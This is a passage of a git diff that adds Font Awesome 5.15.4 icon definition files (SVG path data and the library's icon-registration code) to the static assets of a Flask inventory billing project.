15 41 4.47 41-17V88c0-21.47-26-32-41-17z"], + "volume-up": [576, 512, [], "f028", "M215.03 71.05L126.06 160H24c-13.26 0-24 10.74-24 24v144c0 13.25 10.74 24 24 24h102.06l88.97 88.95c15.03 15.03 40.97 4.47 40.97-16.97V88.02c0-21.46-25.96-31.98-40.97-16.97zm233.32-51.08c-11.17-7.33-26.18-4.24-33.51 6.95-7.34 11.17-4.22 26.18 6.95 33.51 66.27 43.49 105.82 116.6 105.82 195.58 0 78.98-39.55 152.09-105.82 195.58-11.17 7.32-14.29 22.34-6.95 33.5 7.04 10.71 21.93 14.56 33.51 6.95C528.27 439.58 576 351.33 576 256S528.27 72.43 448.35 19.97zM480 256c0-63.53-32.06-121.94-85.77-156.24-11.19-7.14-26.03-3.82-33.12 7.46s-3.78 26.21 7.41 33.36C408.27 165.97 432 209.11 432 256s-23.73 90.03-63.48 115.42c-11.19 7.14-14.5 22.07-7.41 33.36 6.51 10.36 21.12 15.14 33.12 7.46C447.94 377.94 480 319.54 480 256zm-141.77-76.87c-11.58-6.33-26.19-2.16-32.61 9.45-6.39 11.61-2.16 26.2 9.45 32.61C327.98 228.28 336 241.63 336 256c0 14.38-8.02 27.72-20.92 34.81-11.61 6.41-15.84 21-9.45 32.61 6.43 11.66 21.05 15.8 32.61 9.45 28.23-15.55 45.77-45 45.77-76.88s-17.54-61.32-45.78-76.86z"], + "vote-yea": [640, 512, [], "f772", "M608 320h-64v64h22.4c5.3 0 9.6 3.6 9.6 8v16c0 4.4-4.3 8-9.6 8H73.6c-5.3 0-9.6-3.6-9.6-8v-16c0-4.4 4.3-8 9.6-8H96v-64H32c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32h576c17.7 0 32-14.3 32-32v-96c0-17.7-14.3-32-32-32zm-96 64V64.3c0-17.9-14.5-32.3-32.3-32.3H160.4C142.5 32 128 46.5 128 64.3V384h384zM211.2 202l25.5-25.3c4.2-4.2 11-4.2 15.2.1l41.3 41.6 95.2-94.4c4.2-4.2 11-4.2 15.2.1l25.3 25.5c4.2 4.2 4.2 11-.1 15.2L300.5 292c-4.2 4.2-11 4.2-15.2-.1l-74.1-74.7c-4.3-4.2-4.2-11 0-15.2z"], + "vr-cardboard": [640, 512, [], "f729", "M608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h160.22c25.19 0 48.03-14.77 58.36-37.74l27.74-61.64C286.21 331.08 302.35 320 320 320s33.79 11.08 41.68 28.62l27.74 61.64C399.75 433.23 422.6 448 447.78 448H608c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zM160 304c-35.35 0-64-28.65-64-64s28.65-64 64-64 64 28.65 64 64-28.65 64-64 64zm320 0c-35.35 0-64-28.65-64-64s28.65-64 64-64 64 28.65 64 64-28.65 64-64 64z"], + "walking": [320, 512, [], "f554", "M208 96c26.5 0 48-21.5 48-48S234.5 0 208 0s-48 21.5-48 48 21.5 48 48 48zm94.5 149.1l-23.3-11.8-9.7-29.4c-14.7-44.6-55.7-75.8-102.2-75.9-36-.1-55.9 10.1-93.3 25.2-21.6 8.7-39.3 25.2-49.7 46.2L17.6 213c-7.8 15.8-1.5 35 14.2 42.9 15.6 7.9 34.6 1.5 42.5-14.3L81 228c3.5-7 9.3-12.5 16.5-15.4l26.8-10.8-15.2 60.7c-5.2 20.8.4 42.9 14.9 58.8l59.9 65.4c7.2 7.9 12.3 17.4 14.9 27.7l18.3 73.3c4.3 17.1 21.7 27.6 38.8 23.3 17.1-4.3 27.6-21.7 23.3-38.8l-22.2-89c-2.6-10.3-7.7-19.9-14.9-27.7l-45.5-49.7 17.2-68.7 5.5 16.5c5.3 16.1 16.7 29.4 31.7 37l23.3 11.8c15.6 7.9 34.6 1.5 42.5-14.3 7.7-15.7 1.4-35.1-14.3-43zM73.6 385.8c-3.2 8.1-8 15.4-14.2 21.5l-50 50.1c-12.5 12.5-12.5 32.8 0 45.3s32.7 12.5 45.2 0l59.4-59.4c6.1-6.1 10.9-13.4 14.2-21.5l13.5-33.8c-55.3-60.3-38.7-41.8-47.4-53.7l-20.7 51.5z"], + "wallet": [512, 512, [], "f555", "M461.2 128H80c-8.84 0-16-7.16-16-16s7.16-16 16-16h384c8.84 0 16-7.16 16-16 0-26.51-21.49-48-48-48H64C28.65 32 0 60.65 0 96v320c0 35.35 28.65 64 64 64h397.2c28.02 0 50.8-21.53 50.8-48V176c0-26.47-22.78-48-50.8-48zM416 336c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "warehouse": [640, 512, [], "f494", "M504 352H136.4c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8H504c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm0 96H136.1c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8h368c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm0-192H136.6c-4.4 0-8 3.6-8 8l-.1 48c0 4.4 3.6 8 8 8H504c4.4 0 8-3.6 8-8v-48c0-4.4-3.6-8-8-8zm106.5-139L338.4 3.7a48.15 48.15 0 0 0-36.9 0L29.5 117C11.7 124.5 0 141.9 0 161.3V504c0 4.4 3.6 8 8 8h80c4.4 0 8-3.6 8-8V256c0-17.6 14.6-32 32.6-32h382.8c18 0 32.6 14.4 32.6 32v248c0 4.4 3.6 8 8 8h80c4.4 0 8-3.6 8-8V161.3c0-19.4-11.7-36.8-29.5-44.3z"], + "water": [576, 512, [], "f773", "M562.1 383.9c-21.5-2.4-42.1-10.5-57.9-22.9-14.1-11.1-34.2-11.3-48.2 0-37.9 30.4-107.2 30.4-145.7-1.5-13.5-11.2-33-9.1-46.7 1.8-38 30.1-106.9 30-145.2-1.7-13.5-11.2-33.3-8.9-47.1 2-15.5 12.2-36 20.1-57.7 22.4-7.9.8-13.6 7.8-13.6 15.7v32.2c0 9.1 7.6 16.8 16.7 16 28.8-2.5 56.1-11.4 79.4-25.9 56.5 34.6 137 34.1 192 0 56.5 34.6 137 34.1 192 0 23.3 14.2 50.9 23.3 79.1 25.8 9.1.8 16.7-6.9 16.7-16v-31.6c.1-8-5.7-15.4-13.8-16.3zm0-144c-21.5-2.4-42.1-10.5-57.9-22.9-14.1-11.1-34.2-11.3-48.2 0-37.9 30.4-107.2 30.4-145.7-1.5-13.5-11.2-33-9.1-46.7 1.8-38 30.1-106.9 30-145.2-1.7-13.5-11.2-33.3-8.9-47.1 2-15.5 12.2-36 20.1-57.7 22.4-7.9.8-13.6 7.8-13.6 15.7v32.2c0 9.1 7.6 16.8 16.7 16 28.8-2.5 56.1-11.4 79.4-25.9 56.5 34.6 137 34.1 192 0 56.5 34.6 137 34.1 192 0 23.3 14.2 50.9 23.3 79.1 25.8 9.1.8 16.7-6.9 16.7-16v-31.6c.1-8-5.7-15.4-13.8-16.3zm0-144C540.6 93.4 520 85.4 504.2 73 490.1 61.9 470 61.7 456 73c-37.9 30.4-107.2 30.4-145.7-1.5-13.5-11.2-33-9.1-46.7 1.8-38 30.1-106.9 30-145.2-1.7-13.5-11.2-33.3-8.9-47.1 2-15.5 12.2-36 20.1-57.7 22.4-7.9.8-13.6 7.8-13.6 15.7v32.2c0 9.1 7.6 16.8 16.7 16 28.8-2.5 56.1-11.4 79.4-25.9 56.5 34.6 137 34.1 192 0 56.5 34.6 137 34.1 192 0 23.3 14.2 50.9 23.3 79.1 25.8 9.1.8 16.7-6.9 16.7-16v-31.6c.1-8-5.7-15.4-13.8-16.3z"], + "wave-square": [640, 512, [], "f83e", "M476 480H324a36 36 0 0 1-36-36V96h-96v156a36 36 0 0 1-36 36H16a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h112V68a36 36 0 0 1 36-36h152a36 36 0 0 1 36 36v348h96V260a36 36 0 0 1 36-36h140a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H512v156a36 36 0 0 1-36 36z"], + "weight": [512, 512, [], "f496", "M448 64h-25.98C438.44 92.28 448 125.01 448 160c0 105.87-86.13 192-192 192S64 265.87 64 160c0-34.99 9.56-67.72 25.98-96H64C28.71 64 0 92.71 0 128v320c0 35.29 28.71 64 64 64h384c35.29 0 64-28.71 64-64V128c0-35.29-28.71-64-64-64zM256 320c88.37 0 160-71.63 160-160S344.37 0 256 0 96 71.63 96 160s71.63 160 160 160zm-.3-151.94l33.58-78.36c3.5-8.17 12.94-11.92 21.03-8.41 8.12 3.48 11.88 12.89 8.41 21l-33.67 78.55C291.73 188 296 197.45 296 208c0 22.09-17.91 40-40 40s-40-17.91-40-40c0-21.98 17.76-39.77 39.7-39.94z"], + "weight-hanging": [512, 512, [], "f5cd", "M510.28 445.86l-73.03-292.13c-3.8-15.19-16.44-25.72-30.87-25.72h-60.25c3.57-10.05 5.88-20.72 5.88-32 0-53.02-42.98-96-96-96s-96 42.98-96 96c0 11.28 2.3 21.95 5.88 32h-60.25c-14.43 0-27.08 10.54-30.87 25.72L1.72 445.86C-6.61 479.17 16.38 512 48.03 512h415.95c31.64 0 54.63-32.83 46.3-66.14zM256 128c-17.64 0-32-14.36-32-32s14.36-32 32-32 32 14.36 32 32-14.36 32-32 32z"], + "wheelchair": [512, 512, [], "f193", "M496.101 385.669l14.227 28.663c3.929 7.915.697 17.516-7.218 21.445l-65.465 32.886c-16.049 7.967-35.556 1.194-43.189-15.055L331.679 320H192c-15.925 0-29.426-11.71-31.679-27.475C126.433 55.308 128.38 70.044 128 64c0-36.358 30.318-65.635 67.052-63.929 33.271 1.545 60.048 28.905 60.925 62.201.868 32.933-23.152 60.423-54.608 65.039l4.67 32.69H336c8.837 0 16 7.163 16 16v32c0 8.837-7.163 16-16 16H215.182l4.572 32H352a32 32 0 0 1 28.962 18.392L438.477 396.8l36.178-18.349c7.915-3.929 17.517-.697 21.446 7.218zM311.358 352h-24.506c-7.788 54.204-54.528 96-110.852 96-61.757 0-112-50.243-112-112 0-41.505 22.694-77.809 56.324-97.156-3.712-25.965-6.844-47.86-9.488-66.333C45.956 198.464 0 261.963 0 336c0 97.047 78.953 176 176 176 71.87 0 133.806-43.308 161.11-105.192L311.358 352z"], + "wifi": [640, 512, [], "f1eb", "M634.91 154.88C457.74-8.99 182.19-8.93 5.09 154.88c-6.66 6.16-6.79 16.59-.35 22.98l34.24 33.97c6.14 6.1 16.02 6.23 22.4.38 145.92-133.68 371.3-133.71 517.25 0 6.38 5.85 16.26 5.71 22.4-.38l34.24-33.97c6.43-6.39 6.3-16.82-.36-22.98zM320 352c-35.35 0-64 28.65-64 64s28.65 64 64 64 64-28.65 64-64-28.65-64-64-64zm202.67-83.59c-115.26-101.93-290.21-101.82-405.34 0-6.9 6.1-7.12 16.69-.57 23.15l34.44 33.99c6 5.92 15.66 6.32 22.05.8 83.95-72.57 209.74-72.41 293.49 0 6.39 5.52 16.05 5.13 22.05-.8l34.44-33.99c6.56-6.46 6.33-17.06-.56-23.15z"], + "wind": [512, 512, [], "f72e", "M156.7 256H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h142.2c15.9 0 30.8 10.9 33.4 26.6 3.3 20-12.1 37.4-31.6 37.4-14.1 0-26.1-9.2-30.4-21.9-2.1-6.3-8.6-10.1-15.2-10.1H81.6c-9.8 0-17.7 8.8-15.9 18.4 8.6 44.1 47.6 77.6 94.2 77.6 57.1 0 102.7-50.1 95.2-108.6C249 291 205.4 256 156.7 256zM16 224h336c59.7 0 106.8-54.8 93.8-116.7-7.6-36.2-36.9-65.5-73.1-73.1-55.4-11.6-105.1 24.9-114.9 75.5-1.9 9.6 6.1 18.3 15.8 18.3h32.8c6.7 0 13.1-3.8 15.2-10.1C325.9 105.2 337.9 96 352 96c19.4 0 34.9 17.4 31.6 37.4-2.6 15.7-17.4 26.6-33.4 26.6H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16zm384 32H243.7c19.3 16.6 33.2 38.8 39.8 64H400c26.5 0 48 21.5 48 48s-21.5 48-48 48c-17.9 0-33.3-9.9-41.6-24.4-2.9-5-8.7-7.6-14.5-7.6h-33.8c-10.9 0-19 10.8-15.3 21.1 17.8 50.6 70.5 84.8 129.4 72.3 41.2-8.7 75.1-41.6 84.7-82.7C526 321.5 470.5 256 400 256z"], + "window-close": [512, 512, [], "f410", "M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-83.6 290.5c4.8 4.8 4.8 12.6 0 17.4l-40.5 40.5c-4.8 4.8-12.6 4.8-17.4 0L256 313.3l-66.5 67.1c-4.8 4.8-12.6 4.8-17.4 0l-40.5-40.5c-4.8-4.8-4.8-12.6 0-17.4l67.1-66.5-67.1-66.5c-4.8-4.8-4.8-12.6 0-17.4l40.5-40.5c4.8-4.8 12.6-4.8 17.4 0l66.5 67.1 66.5-67.1c4.8-4.8 12.6-4.8 17.4 0l40.5 40.5c4.8 4.8 4.8 12.6 0 17.4L313.3 256l67.1 66.5z"], + "window-maximize": [512, 512, [], "f2d0", "M464 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-16 160H64v-84c0-6.6 5.4-12 12-12h360c6.6 0 12 5.4 12 12v84z"], + "window-minimize": [512, 512, [], "f2d1", "M464 352H48c-26.5 0-48 21.5-48 48v32c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48v-32c0-26.5-21.5-48-48-48z"], + "window-restore": [512, 512, [], "f2d2", "M512 48v288c0 26.5-21.5 48-48 48h-48V176c0-44.1-35.9-80-80-80H128V48c0-26.5 21.5-48 48-48h288c26.5 0 48 21.5 48 48zM384 176v288c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V176c0-26.5 21.5-48 48-48h288c26.5 0 48 21.5 48 48zm-68 28c0-6.6-5.4-12-12-12H76c-6.6 0-12 5.4-12 12v52h252v-52z"], + "wine-bottle": [512, 512, [], "f72f", "M507.31 72.57L439.43 4.69c-6.25-6.25-16.38-6.25-22.63 0l-22.63 22.63c-6.25 6.25-6.25 16.38 0 22.63l-76.67 76.67c-46.58-19.7-102.4-10.73-140.37 27.23L18.75 312.23c-24.99 24.99-24.99 65.52 0 90.51l90.51 90.51c24.99 24.99 65.52 24.99 90.51 0l158.39-158.39c37.96-37.96 46.93-93.79 27.23-140.37l76.67-76.67c6.25 6.25 16.38 6.25 22.63 0l22.63-22.63c6.24-6.24 6.24-16.37-.01-22.62zM179.22 423.29l-90.51-90.51 122.04-122.04 90.51 90.51-122.04 122.04z"], + "wine-glass": [288, 512, [], "f4e3", "M216 464h-40V346.81c68.47-15.89 118.05-79.91 111.4-154.16l-15.95-178.1C270.71 6.31 263.9 0 255.74 0H32.26c-8.15 0-14.97 6.31-15.7 14.55L.6 192.66C-6.05 266.91 43.53 330.93 112 346.82V464H72c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h208c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40z"], + "wine-glass-alt": [288, 512, [], "f5ce", "M216 464h-40V346.81c68.47-15.89 118.05-79.91 111.4-154.16l-15.95-178.1C270.71 6.31 263.9 0 255.74 0H32.26c-8.15 0-14.97 6.31-15.7 14.55L.6 192.66C-6.05 266.91 43.53 330.93 112 346.82V464H72c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h208c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40zM61.75 48h164.5l7.17 80H54.58l7.17-80z"], + "won-sign": [576, 512, [], "f159", "M564 192c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-48l18.6-80.6c1.7-7.5-4-14.7-11.7-14.7h-46.1c-5.7 0-10.6 4-11.7 9.5L450.7 128H340.8l-19.7-86c-1.3-5.5-6.1-9.3-11.7-9.3h-44c-5.6 0-10.4 3.8-11.7 9.3l-20 86H125l-17.5-85.7c-1.1-5.6-6.1-9.6-11.8-9.6H53.6c-7.7 0-13.4 7.1-11.7 14.6L60 128H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h62.3l7.2 32H12c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h83.9l40.9 182.6c1.2 5.5 6.1 9.4 11.7 9.4h56.8c5.6 0 10.4-3.9 11.7-9.3L259.3 288h55.1l42.4 182.7c1.3 5.4 6.1 9.3 11.7 9.3h56.8c5.6 0 10.4-3.9 11.7-9.3L479.1 288H564c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-70.1l7.4-32zM183.8 342c-6.2 25.8-6.8 47.2-7.3 47.2h-1.1s-1.7-22-6.8-47.2l-11-54h38.8zm27.5-118h-66.8l-6.5-32h80.8zm62.9 0l2-8.6c1.9-8 3.5-16 4.8-23.4h11.8c1.3 7.4 2.9 15.4 4.8 23.4l2 8.6zm130.9 118c-5.1 25.2-6.8 47.2-6.8 47.2h-1.1c-.6 0-1.1-21.4-7.3-47.2l-12.4-54h39.1zm25.2-118h-67.4l-7.3-32h81.6z"], + "wrench": [512, 512, [], "f0ad", "M507.73 109.1c-2.24-9.03-13.54-12.09-20.12-5.51l-74.36 74.36-67.88-11.31-11.31-67.88 74.36-74.36c6.62-6.62 3.43-17.9-5.66-20.16-47.38-11.74-99.55.91-136.58 37.93-39.64 39.64-50.55 97.1-34.05 147.2L18.74 402.76c-24.99 24.99-24.99 65.51 0 90.5 24.99 24.99 65.51 24.99 90.5 0l213.21-213.21c50.12 16.71 107.47 5.68 147.37-34.22 37.07-37.07 49.7-89.32 37.91-136.73zM64 472c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z"], + "x-ray": [640, 512, [], "f497", "M240 384c-8.8 0-16 7.2-16 16s7.2 16 16 16 16-7.2 16-16-7.2-16-16-16zm160 32c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zM624 0H16C7.2 0 0 7.2 0 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16zm0 448h-48V96H64v352H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h608c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM480 248c0 4.4-3.6 8-8 8H336v32h104c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H336v32h64c26.5 0 48 21.5 48 48s-21.5 48-48 48-48-21.5-48-48v-16h-64v16c0 26.5-21.5 48-48 48s-48-21.5-48-48 21.5-48 48-48h64v-32H200c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h104v-32H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h136v-32H200c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h104v-24c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v24h104c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H336v32h136c4.4 0 8 3.6 8 8v16z"], + "yen-sign": [384, 512, [], "f157", "M351.2 32h-65.3c-4.6 0-8.8 2.6-10.8 6.7l-55.4 113.2c-14.5 34.7-27.1 71.9-27.1 71.9h-1.3s-12.6-37.2-27.1-71.9L108.8 38.7c-2-4.1-6.2-6.7-10.8-6.7H32.8c-9.1 0-14.8 9.7-10.6 17.6L102.3 200H44c-6.6 0-12 5.4-12 12v32c0 6.6 5.4 12 12 12h88.2l19.8 37.2V320H44c-6.6 0-12 5.4-12 12v32c0 6.6 5.4 12 12 12h108v92c0 6.6 5.4 12 12 12h56c6.6 0 12-5.4 12-12v-92h108c6.6 0 12-5.4 12-12v-32c0-6.6-5.4-12-12-12H232v-26.8l19.8-37.2H340c6.6 0 12-5.4 12-12v-32c0-6.6-5.4-12-12-12h-58.3l80.1-150.4c4.3-7.9-1.5-17.6-10.6-17.6z"], + "yin-yang": [496, 512, [], "f6ad", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 376c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-128c-53.02 0-96 42.98-96 96s42.98 96 96 96c-106.04 0-192-85.96-192-192S141.96 64 248 64c53.02 0 96 42.98 96 96s-42.98 96-96 96zm0-128c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32z"] + }; + + bunker(function () { + defineIcons('fas', icons); + }); + +}()); diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/solid.min.js b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/solid.min.js new file mode 100644 index 00000000..b5cb4229 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/js/solid.min.js @@ -0,0 +1,1060 @@ +/*! + * Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com + * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) + */ +!function() { + "use strict"; + var c = {}, h = {}; + try { + "undefined" != typeof window && (c = window), "undefined" != typeof document && (h = document); + } catch (c) {} + var l = (c.navigator || {}).userAgent, v = void 0 === l ? "" : l, z = c, a = h, M = (z.document, + !!a.documentElement && !!a.head && "function" == typeof a.addEventListener && a.createElement, + ~v.indexOf("MSIE") || v.indexOf("Trident/"), "___FONT_AWESOME___"), m = function() { + try { + return !1; + } catch (c) { + return !1; + } + }(); + var H = z || {}; + H[M] || (H[M] = {}), H[M].styles || (H[M].styles = {}), H[M].hooks || (H[M].hooks = {}), + H[M].shims || (H[M].shims = []); + var s = H[M]; + function V(c, v) { + var h = (2 < arguments.length && void 0 !== arguments[2] ? arguments[2] : {}).skipHooks, l = void 0 !== h && h, z = Object.keys(v).reduce(function(c, h) { + var l = v[h]; + return !!l.icon ? c[l.iconName] = l.icon : c[h] = l, c; + }, {}); + "function" != typeof s.hooks.addPack || l ? s.styles[c] = function(z) { + for (var c = 1; c < arguments.length; c++) { + var a = null != arguments[c] ? arguments[c] : {}, h = Object.keys(a); + "function" == typeof Object.getOwnPropertySymbols && (h = h.concat(Object.getOwnPropertySymbols(a).filter(function(c) { + return Object.getOwnPropertyDescriptor(a, c).enumerable; + }))), h.forEach(function(c) { + var h, l, v; + h = z, v = a[l = c], l in h ? Object.defineProperty(h, l, { + value: v, + enumerable: !0, + configurable: !0, + writable: !0 + }) : h[l] = v; + }); + } + return z; + }({}, s.styles[c] || {}, z) : s.hooks.addPack(c, z), "fas" === c && V("fa", v); + } + var L = { + ad: [ 512, 512, [], "f641", "M157.52 272h36.96L176 218.78 157.52 272zM352 256c-13.23 0-24 10.77-24 24s10.77 24 24 24 24-10.77 24-24-10.77-24-24-24zM464 64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM250.58 352h-16.94c-6.81 0-12.88-4.32-15.12-10.75L211.15 320h-70.29l-7.38 21.25A16 16 0 0 1 118.36 352h-16.94c-11.01 0-18.73-10.85-15.12-21.25L140 176.12A23.995 23.995 0 0 1 162.67 160h26.66A23.99 23.99 0 0 1 212 176.13l53.69 154.62c3.61 10.4-4.11 21.25-15.11 21.25zM424 336c0 8.84-7.16 16-16 16h-16c-4.85 0-9.04-2.27-11.98-5.68-8.62 3.66-18.09 5.68-28.02 5.68-39.7 0-72-32.3-72-72s32.3-72 72-72c8.46 0 16.46 1.73 24 4.42V176c0-8.84 7.16-16 16-16h16c8.84 0 16 7.16 16 16v160z" ], + "address-book": [ 448, 512, [], "f2b9", "M436 160c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h320c26.5 0 48-21.5 48-48v-48h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20zm-228-32c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H118.4C106 384 96 375.4 96 364.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2z" ], + "address-card": [ 576, 512, [], "f2bb", "M528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-352 96c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H86.4C74 384 64 375.4 64 364.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2zM512 312c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16z" ], + adjust: [ 512, 512, [], "f042", "M8 256c0 136.966 111.033 248 248 248s248-111.034 248-248S392.966 8 256 8 8 119.033 8 256zm248 184V72c101.705 0 184 82.311 184 184 0 101.705-82.311 184-184 184z" ], + "air-freshener": [ 512, 512, [], "f5d0", "M224 160H96C43 160 0 203 0 256V480C0 497.625 14.375 512 32 512H288C305.625 512 320 497.625 320 480V256C320 203 277 160 224 160ZM160 416C115.875 416 80 380.125 80 336S115.875 256 160 256S240 291.875 240 336S204.125 416 160 416ZM224 32C224 14.375 209.625 0 192 0H128C110.375 0 96 14.375 96 32V128H224V32ZM381.781 51.578C383 50.969 384 49.359 384 48C384 46.625 383 45.031 381.781 44.422L352 32L339.562 2.219C338.969 1 337.375 0 336 0S333.031 1 332.406 2.219L320 32L290.219 44.422C289 45.031 288 46.625 288 48C288 49.359 289 50.969 290.219 51.578L320 64L332.406 93.781C333.031 95 334.625 96 336 96S338.969 95 339.562 93.781L352 64L381.781 51.578ZM448 64L460.406 93.781C461.031 95 462.625 96 464 96S466.969 95 467.562 93.781L480 64L509.781 51.578C511 50.969 512 49.359 512 48C512 46.625 511 45.031 509.781 44.422L480 32L467.562 2.219C466.969 1 465.375 0 464 0S461.031 1 460.406 2.219L448 32L418.219 44.422C417 45.031 416 46.625 416 48C416 49.359 417 50.969 418.219 51.578L448 64ZM480 224L467.562 194.219C466.969 193 465.375 192 464 192S461.031 193 460.406 194.219L448 224L418.219 236.422C417 237.031 416 238.625 416 240C416 241.359 417 242.969 418.219 243.578L448 256L460.406 285.781C461.031 287 462.625 288 464 288S466.969 287 467.562 285.781L480 256L509.781 243.578C511 242.969 512 241.359 512 240C512 238.625 511 237.031 509.781 236.422L480 224ZM445.781 147.578C447 146.969 448 145.359 448 144C448 142.625 447 141.031 445.781 140.422L416 128L403.562 98.219C402.969 97 401.375 96 400 96S397.031 97 396.406 98.219L384 128L354.219 140.422C353 141.031 352 142.625 352 144C352 145.359 353 146.969 354.219 147.578L384 160L396.406 189.781C397.031 191 398.625 192 400 192S402.969 191 403.562 189.781L416 160L445.781 147.578Z" ], + "align-center": [ 448, 512, [], "f037", "M432 160H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 256H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM108.1 96h231.81A12.09 12.09 0 0 0 352 83.9V44.09A12.09 12.09 0 0 0 339.91 32H108.1A12.09 12.09 0 0 0 96 44.09V83.9A12.1 12.1 0 0 0 108.1 96zm231.81 256A12.09 12.09 0 0 0 352 339.9v-39.81A12.09 12.09 0 0 0 339.91 288H108.1A12.09 12.09 0 0 0 96 300.09v39.81a12.1 12.1 0 0 0 12.1 12.1z" ], + "align-justify": [ 448, 512, [], "f039", "M432 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-128H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-128H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-128H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" ], + "align-left": [ 448, 512, [], "f036", "M12.83 352h262.34A12.82 12.82 0 0 0 288 339.17v-38.34A12.82 12.82 0 0 0 275.17 288H12.83A12.82 12.82 0 0 0 0 300.83v38.34A12.82 12.82 0 0 0 12.83 352zm0-256h262.34A12.82 12.82 0 0 0 288 83.17V44.83A12.82 12.82 0 0 0 275.17 32H12.83A12.82 12.82 0 0 0 0 44.83v38.34A12.82 12.82 0 0 0 12.83 96zM432 160H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 256H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" 